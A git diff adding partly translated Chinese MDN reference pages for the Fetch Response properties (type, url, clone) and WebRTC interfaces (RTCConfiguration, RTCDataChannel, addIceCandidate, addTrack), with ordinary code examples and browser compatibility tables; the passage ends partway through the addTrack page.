+ + diff --git a/files/zh-cn/web/api/response/type/index.html b/files/zh-cn/web/api/response/type/index.html new file mode 100644 index 0000000000..1057083426 --- /dev/null +++ b/files/zh-cn/web/api/response/type/index.html @@ -0,0 +1,137 @@ +--- +title: Response.type +slug: Web/API/Response/type +translation_of: Web/API/Response/type +--- +
{{APIRef("Fetch")}}{{SeeCompatTable}}
+ +

type 是{{domxref("Response")}} 接口包含的一种响应类型,是只读属性.它可以是以下某一种值:

+ + + +
+

Note: “错误”响应从来没有真正暴露于脚本: 这种响应 {{domxref("GlobalFetch.fetch","fetch()")}} 将被promise拒绝.

+
+ +

Syntax

+ +
var myType = response.type;
+ +

Value

+ +

ResponseType说明响应类型.

+ +

Example

+ +

In our Fetch Response example (see Fetch Response live) we create a new {{domxref("Request")}} object using the {{domxref("Request.Request","Request()")}} constructor, passing it a JPG path. We then fetch this request using {{domxref("GlobalFetch.fetch","fetch()")}}, extract a blob from the response using {{domxref("Body.blob")}}, create an object URL out of it using {{domxref("URL.createObjectURL")}}, and display this in an {{htmlelement("img")}}.

+ +

Note that at the top of the fetch() block we log the response type to the console.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.type); // returns basic by default
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fetch", "#dom-response-type", "type")}}{{Spec2("Fetch")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[2]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] The implementation of this feature is behind the "Experimental Web Platform Features" preference in chrome://flags.

+ +

[2] The implementation of this feature is behind the preference dom.fetch.enabled in about:config, defaulting to false.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/url/index.html b/files/zh-cn/web/api/response/url/index.html new file mode 100644 index 0000000000..89bcee01c6 --- /dev/null +++ b/files/zh-cn/web/api/response/url/index.html @@ -0,0 +1,65 @@ +--- +title: Response.url +slug: Web/API/Response/url +translation_of: Web/API/Response/url +--- +
{{APIRef("Fetch")}}
+ +

The url read-only property of the {{domxref("Response")}} interface contains the URL of the response. The value of the url property will be the final URL obtained after any redirects. 

+ +

Syntax

+ +
var myURL = response.url;
+ +

Value

+ +

A {{domxref("USVString")}}.

+ +

Example

+ +

In our Fetch Response example (see Fetch Response live) we create a new {{domxref("Request")}} object using the {{domxref("Request.Request","Request()")}} constructor, passing it a JPG path. We then fetch this request using {{domxref("GlobalFetch.fetch","fetch()")}}, extract a blob from the response using {{domxref("Body.blob")}}, create an object URL out of it using {{domxref("URL.createObjectURL")}}, and display this in an {{htmlelement("img")}}.

+ +

Note that at the top of the fetch() block we log the response URL to the console.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.url); // returns https://developer.mozilla.org/en-US/docs/Web/API/Response/flowers.jpg
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-url','url')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Response.url")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" "b/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" new file mode 100644 index 0000000000..0efccea0dc --- /dev/null +++ "b/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" @@ -0,0 +1,143 @@ +--- +title: Response.clone() +slug: Web/API/Response/克隆 +tags: + - API + - Experimental + - Fetch + - Method + - Reference + - Response + - clone +translation_of: Web/API/Response/clone +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

+ +

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

+ +

语法

+ +
var response2 = response1.clone();
+ +

Parameters

+ +

None.

+ +

Value

+ +

一个 {{domxref("Response")}} 对象.

+ +

示例

+ +

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

+ +
var image1 = document.querySelector('.img1');
+var image2 = document.querySelector('.img2');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  var response2 = response.clone();
+
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image1.src = objectURL;
+  });
+
+  response2.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image2.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 此功能是在首选项后面实现的。

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcconfiguration/index.html b/files/zh-cn/web/api/rtcconfiguration/index.html new file mode 100644 index 0000000000..ace1a5c5b6 --- /dev/null +++ b/files/zh-cn/web/api/rtcconfiguration/index.html @@ -0,0 +1,66 @@ +--- +title: RTCConfiguration +slug: Web/API/RTCConfiguration +translation_of: Web/API/RTCConfiguration +--- +

{{APIRef("WebRTC")}}{{draft}}

+ +

The RTCConfiguration dictionary is used to provide configuration options for an {{domxref("RTCPeerConnection")}}. It may be passed into the constructor when instantiating a connection, or used with the {{domxref("RTCPeerConnection.getConfiguration()")}} and {{domxref("RTCPeerConnection.setConfiguration()")}} methods, which allow inspecting and changing the configuration while a connection is established.

+ +

The options include ICE server and transport settings and identity information.

+ +

Properties

+ +
+
bundlePolicy {{optional_inline}}
+
Specifies how to handle negotiation of candidates when the remote peer is not compatible with the SDP BUNDLE standard. This must be one of the values from the enum RTCBundlePolicy. If this value isn't included in the dictionary, "balanced" is assumed.
+
certificates {{optional_inline}}
+
An {{jsxref("Array")}} of objects of type {{domxref("RTCCertificate")}} which are used by the connection for authentication. If this property isn't specified, a set of certificates is generated automatically for each {{domxref("RTCPeerConnection")}} instance. Although only one certificate is used by a given connection, providing certificates for multiple algorithms may improve the odds of successfully connecting in some circumstances. See {{anch("Using certificates")}} below for additional information. +
This configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to {{domxref("RTCPeerConnection.setConfiguration()")}}.
+
+
iceCandidatePoolSize {{optional_inline}}
+
一个16bit无符号整型值,代表预获取的ICE candidate pool的大小。 默认为 0 (意味着不会发生candidate的预获取)。在某些情况下,由于预获取了ICE candidate,在 {{domxref("RTCPeerConnection.setLocalDescription()")}} 被调用时,被预获取的candidate可被立刻检查,从而导致可以更快的建立连接。 +
改变 ICE candidate pool的大小将触发启动 ICE gathering。
+
+
iceServers {{optional_inline}}
+
An array of {{domxref("RTCIceServer")}} objects, each describing one server which may be used by the ICE agent; these are typically STUN and/or TURN servers. If this isn't specified, the ICE agent may choose to use its own ICE servers; otherwise, the connection attempt will be made with no STUN or TURN server available, which limits the connection to local peers.
+
iceTransportPolicy {{optional_inline}}
+
The current ICE transport policy; this must be one of the values from the RTCIceTransportPolicy enum. If this isn't specified, "all" is assumed.
+
peerIdentity {{optional_inline}}
+
A {{domxref("DOMString")}} which specifies the target peer identity for the {{domxref("RTCPeerConnection")}}. If this value is set (it defaults to null), the RTCPeerConnection will not connect to a remote peer unless it can successfully authenticate with the given name.
+
rtcpMuxPolicy {{optional_inline}}
+
The RTCP mux policy to use when gathering ICE candidates, in order to support non-multiplexed RTCP. The value must be one of those from the RTCRtcpMuxPolicy enum. The default is "require".
+
+ +

Constants

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCBundlePolicy enum", 0, 1)}}

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCIceTransportPolicy enum", 0, 1)}}

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCRtcpMuxPolicy enum", 0, 1)}}

+ +

Using certificates

+ +

When you wish to provide your own certificates for use by an {{domxref("RTCPeerConnection")}} instead of having the RTCPeerConnection generate them automatically, you do so through calls to {{domxref("RTCPeerConnection.generateCertificate()")}}.

+ +

This attribute supports providing multiple certificates because even though a given DTLS connection uses only one certificate, providing multiple certificates allows support for multiple encryption algorithms. The implementation of RTCPeerConnection will choose which certificate to use based on the algorithms it and the remote peer support, as determined during DTLS handshake.

+ +

If you don't provide certificates, new ones are generated automatically. One obvious benefit to providing your own is identity key continuity—if you use the same certificate for subsequent calls, the remote peer can tell you're the same caller. This also avoids the cost of generating new keys.

+ +

<<<link to added info on identity>>>

+ +

Example

+ +

The configuration below establishes two ICE servers. The first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. The second server has two URLs: stun:stun.example.com and stun:stun-1.example.com.

+ +
var configuration = { iceServers: [{
+                          urls: "stun:stun.services.mozilla.com",
+                          username: "louis@mozilla.com",
+                          credential: "webrtcdemo"
+                      }, {
+                          urls: ["stun:stun.example.com", "stun:stun-1.example.com"]
+                      }]
+};
+
+var pc = new RTCPeerConnection(configuration);
diff --git a/files/zh-cn/web/api/rtcdatachannel/index.html b/files/zh-cn/web/api/rtcdatachannel/index.html new file mode 100644 index 0000000000..ff3ac46500 --- /dev/null +++ b/files/zh-cn/web/api/rtcdatachannel/index.html @@ -0,0 +1,177 @@ +--- +title: RTCDataChannel +slug: Web/API/RTCDataChannel +translation_of: Web/API/RTCDataChannel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCDataChannel接口代表在两者之间建立了一个双向数据通道的连接。

+ +

可以用{{domxref("RTCDataChannel.createDataChannel()")}}或者在现有的 {{domxref("RTCPeerConnection")}}上用 {{domxref("RTCDataChannelEvent")}}类型的 {{event("datachannel")}} 事件接收,创建出 RTCDataChannel类型的对象。

+ +
+

这个API在Gecko中被称作DataChannel而不是标准的'RTCDataChannel'。

+
+ +

属性

+ +
+
{{domxref("RTCDataChannel.label")}} {{readOnlyInline}}
+
返回一个包含有描述数据通道名字的{{domxref("DOMString")}}。这个字段没有唯一性要求。
+
{{domxref("RTCDataChannel.ordered")}} {{readOnlyInline}}
+
返回一个{{domxref("Boolean")}}对象,表示传递信息的顺序是否有保证。
+
{{domxref("RTCDataChannel.protocol")}} {{readOnlyInline}}
+
返回一个包含有正在使用的子协议的名称的 {{Domxref("DOMString")}},如果没有这样的子协议,返回""
+
{{domxref("RTCDataChannel.id")}} {{readOnlyInline}}
+
当{{domxref("RTCDataChannel")}}对象被创建出来的时候,返回一个无符号short类型的数据,作为通道的标识id。
+
{{domxref("RTCDataChannel.readyState")}} {{readOnlyInline}}
+
返回枚举类型的 RTCDataChannelState,表示数据连接的状态,有以下几种类型: +
    +
  • "connecting" 该状态表示底层链路还未建立和激活,该状态还是由{{domxref("RTCPeerConnection.createDataChannel()")}}生成的datachannel初始状态。
  • +
  • "open" 该状态表示底层链路已经连接成功并且运行。这个状态还是由{{domxref("RTCDataChannelEvent")}}分发的datachannel的初始状态。 
  • +
  • "closing" 该状态表示底层链路已经在关闭的过程中。该状态下将不会接受新的发送任务,但是缓冲队列中的消息还是会被继续发送或者接收。
  • +
  • "closed" 该状态表示底层链路已经完全被关闭(或者无法处于established状态)。
  • +
+
+
{{domxref("RTCDataChannel.bufferedAmount")}} {{readOnlyInline}}
+
+

返回一个unsigned long,表示缓冲队列中等待发送的字节数。这些数据是通过{{domxref("RTCDataChannel.send()")}}添加进缓冲队列但还未被发送的数据请求。注意:就算channel处于closed状态,队列中的缓存还会保持。

+
+
{{domxref("RTCDataChannel.binaryType")}}
+
+

是一个{{domxref("DOMString")}} 类型,表示由链路发送的二进制数据的类型。该项的值应该为"blob"或者"arraybuffer",默认值为"blob"。当值为"blob"的时候,使用{{domxref("Blob")}}对象,当值为"arraybuffer"时,使用{{domxref("ArrayBuffer")}}对象

+
+
{{domxref("RTCDataChannel.maxPacketLifeType")}} {{readOnlyInline}}
+
是一个unsigned short类型,表示不可靠模式下的消息发送允许时间长度,单位为毫秒。
+
{{domxref("RTCDataChannel.maxRetransmits")}} {{readOnlyInline}}
+
是一个unsigned short类型,表示不可靠模式下消息允许尝试重发的最大次数。
+
{{domxref("RTCDataChannel.negotiated")}} {{readOnlyInline}}
+
是一个{{domxref("Boolean")}}类型,表示这个channel是否已经通过应用协商。
+
{{domxref("DataChannel.reliable")}} {{non-standard_inline}} {{readOnlyInline}}
+
是一个{{domxref("Boolean")}}类型,表示这个链接能不能以非可靠模式发送消息。已经废弃的api。
+
{{domxref("DataChannel.stream")}} {{non-standard_inline}} {{readOnlyInline}}
+
和{{domxref("RTCDataChannel.id")}}等效,已经废弃的api。
+
+ +

事件处理器

+ +
+
{{domxref("RTCDataChannel.onopen")}}
+
当接收到{{event("open")}} 事件时的事件处理器,当底层链路数据传输成功,端口状态处于established的时候会触发该事件。
+
{{domxref("RTCDataChannel.onmessage")}}
+
当接收到{{event("message")}}事件时的事件处理器。当有数据被接收的时候会触发该事件。
+
{{domxref("RTCDataChannel.onclose")}}
+
当接收到{{event("close")}}事件时候的事件处理器。当底层链路被关闭的时候会触发该事件。
+
{{domxref("RTCDataChannel.onerror")}}
+
当接收到{{event("error")}} 事件时候的事件处理器。当遇到错误的时候会触发该事件。
+
+ +

方法

+ +
+
{{domxref("RTCDataChannel.close()")}}
+
+

关闭channel的方法。这个关闭动作不是直接生效的。这个方法会将channel的{{domxref("RTCDataChannel.readyState", "state")}} 属性设置为"closing"状态,在消息队列中的消息全部发送完毕之后,channel才会被关闭。

+
+
{{domxref("RTCDataChannel.send()")}}
+
将参数中的数据通过channel发送。这个数据可以是{{domxref("DOMString")}}, {{domxref("Blob")}}, {{domxref("ArrayBuffer")}}或者是 {{domxref("ArrayBufferView")}}类型。
+
+ +

Example

+ +
var pc = new RTCPeerConnection();
+var dc = pc.createDataChannel("my channel");
+
+dc.onmessage = function (event) {
+  console.log("received: " + event.data);
+};
+
+dc.onopen = function () {
+  console.log("datachannel open");
+};
+
+dc.onclose = function () {
+  console.log("datachannel close");
+};
+
+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#idl-def-RTCDataChannel', 'RTCDataChannel') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown }} [1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] The interface is called DataChannel and not RTCDataChannel

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/addicecandidate/index.html b/files/zh-cn/web/api/rtcpeerconnection/addicecandidate/index.html new file mode 100644 index 0000000000..c648d7aac4 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/addicecandidate/index.html @@ -0,0 +1,203 @@ +--- +title: RTCPeerConnection.addIceCandidate() +slug: Web/API/RTCPeerConnection/addIceCandidate +translation_of: Web/API/RTCPeerConnection/addIceCandidate +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

当本机当前页面的 {{domxref("RTCPeerConnection")}} 接收到一个从远端页面通过信号通道发来的新的 ICE 候选地址信息,本机可以通过调用RTCPeerConnection.addIceCandidate() 来添加一个 {{Glossary("ICE")}} 代理。 This adds this new remote candidate to the RTCPeerConnection's remote description, which describes the state of the remote end of the connection.

+ +

If the value of the specified object's {{domxref("RTCIceCandidate.candidate", "candidate")}} is an empty string (""), it signals that all remote candidates have been delivered.

+ +

During negotiation, your app will likely receive many candidates which you'll deliver to the ICE agent in this way, allowing it to build up a list of potential connection methods. This is covered in more detail in the articles WebRTC connectivity and Signaling and video calling.

+ +

Syntax

+ +
aPromise = pc.addIceCandidate(candidate);
+
+addIceCandidate(candidate, successCallback, failureCallback); {{deprecated_inline}}
+
+ +

Parameters

+ +
+
candidate
+
An object conforming to the {{domxref("RTCIceCandidateInit")}} dictionary; the contents of the object should be constructed from a message received over the signaling channel, describing a newly received ICE candidate that's ready to be delivered to the local ICE agent.
+
+ +

Deprecated parameters

+ +

在一些老旧的代码和文档中, 你可能会看到一个回调函数(callback)版本的函数。这种函数是过期的,强烈建议不要使用。你应该更新你的代码,使用 {{jsxref("Promise")}}-版本的 addIceCandidate() . 这个版本的参数格式附在下面, 方便你更新已有的代码.

+ +
+
successCallback {{deprecated_inline}}
+
A function to be called when the ICE candidate has been successfully added. This function receives no input parameters and doesn't return a value.
+
failureCallback {{deprecated_inline}}
+
A function to be called if attempting to add the ICE candidate fails. Receives as input a {{domxref("DOMException")}} object describing why failure occurred.
+
+ +

Return value

+ +

A {{jsxref("Promise")}} which is fulfilled when the candidate has been successfully added to the remote peer's description by the ICE agent. The promise does not receive any input parameters.

+ +

Exceptions

+ +

When an error occurs while attempting to add the ICE candidate, the {{jsxref("Promise")}} returned by this method is rejected, returning one of the errors below as the {{domxref("DOMException.name", "name")}} attribute in the specified {{domxref("DOMException")}} object passed to the rejection handler.

+ +
+
TypeError
+
The specified candidate doesn't have values for both {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} and {{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}.
+
InvalidStateError
+
The RTCPeerConnection currently has no remote peer established ({{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} is null).
+
OperationError
+
A non-null value was specified for {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}}, but the value doesn't match the mid of any media description in the remoteDescription, or {{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}} is greater than or equal to the number of media descriptions in remoteDescription. This error can also be thrown if a value is given for {{domxref("RTCIceCandidate.ufrag", "ufrag")}} that doesn't match the value of ufrag in any of the remote description being selected.
+
+ OperationError also occurs if the attempt to add the candidate fails for any other reason.
+
+ +

Example

+ +

下段代码会展示如何使用一个SDP字符串(这个字符串包含了候选的描述)去构建一个候选对象。这个字符串来自于信道(signaling channel)。

+ +
// |receivedSDP| is an SDP string received over the signaling channel
+// by our handler for "new ICE candidate" messages.
+
+let candidate = new RTCIceCandidate(receivedSDP);
+
+pc.addIceCandidate(candidate).then(_=>{
+  // Do stuff when the candidate is successfully passed to the ICE agent
+}).catch(e=>{
+  console.log("Error: Failure during addIceCandidate()");
+});
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-addIceCandidate-Promise-void--RTCIceCandidateInit-RTCIceCandidate-candidate', 'RTCPeerConnection.addIceCandidate()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
{{SpecName("WebRTC 1.0", "#widl-RTCPeerConnection-addIceCandidate-void-RTCIceCandidateInit-RTCIceCandidate-candidate-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback", "RTCPeerConnection.addIceCandidate()")}} {{deprecated_inline}}{{Spec2("WebRTC 1.0")}}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }} [2]{{ CompatNo}}{{ CompatVersionUnknown}}{{ CompatUnknown}}
Promise-based version{{CompatChrome(50)}}{{CompatUnknown}}{{ CompatGeckoDesktop(37)}}{{ CompatUnknown}}{{ CompatUnknown}}{{ CompatUnknown}}
{{domxref("RTCIceCandidateInit")}} as input{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown}}[1]{{ CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{ CompatGeckoMobile(22)}}{{ CompatNo}}{{ CompatUnknown}}{{ CompatUnknown}}
Promise-based version{{CompatChrome(50)}}{{CompatChrome(50)}}{{CompatUnknown}}{{CompatGeckoMobile(37)}}{{ CompatUnknown}}{{ CompatUnknown}}{{ CompatUnknown}}
{{domxref("RTCIceCandidateInit")}} as input{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Though this method is not prefixed, the interface it belongs to was until Chrome 56.

+ +

[2] Though this method is not prefixed, the interface it belongs to was until Firefox 44.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/addtrack/index.html b/files/zh-cn/web/api/rtcpeerconnection/addtrack/index.html new file mode 100644 index 0000000000..df295671eb --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/addtrack/index.html @@ -0,0 +1,207 @@ +--- +title: RTCPeerConnection.addTrack() +slug: Web/API/RTCPeerConnection/addTrack +translation_of: Web/API/RTCPeerConnection/addTrack +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}} 对象的addTrack()方法将一个新的媒体音轨添加到一组音轨中,这些音轨将被传输给另一个对等点。

+ +
+

注意:通过触发一个{{event("negotiationneeded")}}事件,向连接添加一个跟踪将触发重新协商。详情请参见{{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Starting negotiation")}}。

+
+ +

语法

+ +
rtpSender = rtcPeerConnection.addTrack(track, stream...);
+ +

参数

+ +
+
track
+
一个{{domxref("MediaStreamTrack")}}对象,表示要添加到对等连接的媒体轨道。
+
stream... {{optional_inline}}
+
一个或多个本地的{{domxref("MediaStream")}}对象,该轨迹应添加到其中。
+
+ +

指定的track不一定已经是任何指定streams的一部分。相反,streams只是在连接的接收端将轨迹分组在一起的一种方式,以确保它们是同步的。在连接的本地端添加到相同流的任何轨道都将位于远程端相同的流上。

+ +

返回值

+ +

将用于传输媒体数据的{{domxref("RTCRtpSender")}}对象。

+ +
+

注意:每个RTCRtpSender都与{{domxref("RTCRtpReceiver")}}配对,组成{{domxref("RTCRtpTransceiver")}}。关联的接收方处于静默状态(指示它不能发送数据包),直到或除非远程对等方向接收方添加一个或多个流。

+
+ +

异常

+ +
+
InvalidAccessError
+
指定的轨道(或它的所有底层流)已经是{{domxref("RTCPeerConnection")}}的一部分。
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}被关闭。
+
+ +

使用笔记

+ +

向多个流添加轨道

+ +

track参数之后,您可以选择指定一个或多个{{domxref("MediaStream")}}对象来添加track。只有轨道从一个点发送到另一个点,而不是一个媒体流。由于流是特定于每个对等点的,因此指定一个或多个流意味着另一个对等点将在连接的另一端自动创建一个相应的流(或多个流),然后自动将接收到的轨道添加到这些流中。

+ +

无流承载的轨道

+ +

如果没有指定媒体流,则轨道是无流的。这是完全可以接受的,尽管要由远程对等点决定将轨道插入到哪个流(如果有的话)。当构建一个多类型的简单应用只有一个媒体流时,使用addTrack()是一个非常常用的办法。例如,如果您与远程对等点共享的只是带有音频轨道和视频轨道的单个流,那么您不需要管理流中的哪个轨道,所以您不妨让transceriver为您处理它。

+ +

下面是一个使用{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}从用户的摄像机和麦克风获取一个流,然后将流中的每条轨迹添加到对等连接,而不为每条轨迹指定一个流:

+ +
async openCall(pc) {
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    pc.addTrack(track);
+  }
+}
+ +

结果是一组没有流关联的跟踪被发送到远程对等点。远程对等点上的{{event("track")}}事件的处理程序将负责决定将每个跟踪添加到哪个流中,即使这意味着只是将它们全部添加到同一个流中。{{domxref("RTCPeerConnection.ontrack", "ontrack")}}方法如下:

+ +
let inboundStream = null;
+
+pc.ontrack = ev => {
+  if (ev.streams && ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    if (!inboundStream) {
+      inboundStream = new MediaStream();
+      videoElem.srcObject = inboundStream;
+    }
+    inboundStream.addTrack(ev.track);
+  }
+}
+ +

在这里,如果指定了流,则track事件处理程序将跟踪添加到事件指定的第一个流。否则,在第一次调用ontrack时,将创建一个新流并附加到视频元素,然后将音轨添加到新流中。从那时起,新的堆track被添加到这个流中。

+ +

你也可以为每个接收到的track创建一个新的流:

+ +
pc.ontrack = ev => {
+  if (ev.streams && ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    let inboundStream = new MediaStream(ev.track);
+    videoElem.srcObject = inboundStream;
+  }
+}
+ +

track与特定的stream相关联

+ +

通过指定一个流并允许{{domxref("RTCPeerConnection")}}为您创建流,流的跟踪关联将由WebRTC基础设施自动为您管理。这包括对收发器的{{domxref("RTCRtpTransceiver.direction","direction")}} 的更改和被停止使用{{domxref("RTCPeerConnection.removeTrack","removeTrack()")}}。

+ +

例如,考虑应用程序可能使用的这个函数,通过{{domxref("RTCPeerConnection")}}将设备的摄像头和麦克风输入流化为远程对等点:

+ +
async openCall(pc) {
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    pc.addTrack(track, gumStream);
+  }
+}
+ +

远程对等点然后可以使用一个看起来像这样的{{event("track")}}事件处理程序:

+ +
pc.ontrack = ({streams: [stream]} => videoElem.srcObject = stream;
+ +

这将把视频元素的当前流设置为包含已添加到连接中的音轨的流。

+ +

重用发送方

+ +

这种方法可以返回一个新的RTCRtpSender,或者在非常特殊的情况下,返回一个尚未用于传输数据的现有的兼容发送方。兼容的可重用RTCRtpSender实例满足以下条件:

+ + + +

如果所有这些条件都满足,发送方会被重用,这将导致现有RTCRtpSender和它的RTCRtpTransceiver发生这些变化:

+ + + +

新发送方

+ +

如果现有的发送方不存在可重用,则创建一个新的发送方。这也会导致必须存在的关联对象的创建。创建新发送方的过程会导致以下更改:

+ + + +
+
+ +

实例

+ +

这个例子是从文章中给出的Signaling and video calling及其相应的示例代码中提取的。它来自那里的handleVideoOfferMsg()方法,该方法在从远程对等方接收到报价消息时被调用。

+ +
var mediaConstraints = {
+  audio: true,            // We want an audio track
+  video: true             // ...and we want a video track
+};
+
+var desc = new RTCSessionDescription(sdp);
+
+pc.setRemoteDescription(desc).then(function () {
+  return navigator.mediaDevices.getUserMedia(mediaConstraints);
+})
+.then(function(stream) {
+  previewElement.srcObject = stream;
+
+  stream.getTracks().forEach(track => pc.addTrack(track, stream));
+})
+ +

这段代码获取从远程对等方接收到的SDP,并构造一个新的{{domxref("RTCSessionDescription")}}传递到{{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}}。成功之后,它使用{{domxref(" mediadevic. getusermedia()")}}获得对本地摄像头和麦克风的访问。

+ +

如果成功,结果流将被分配为变量previewElement引用的{{HTMLElement("video")}}元素的源。

+ +

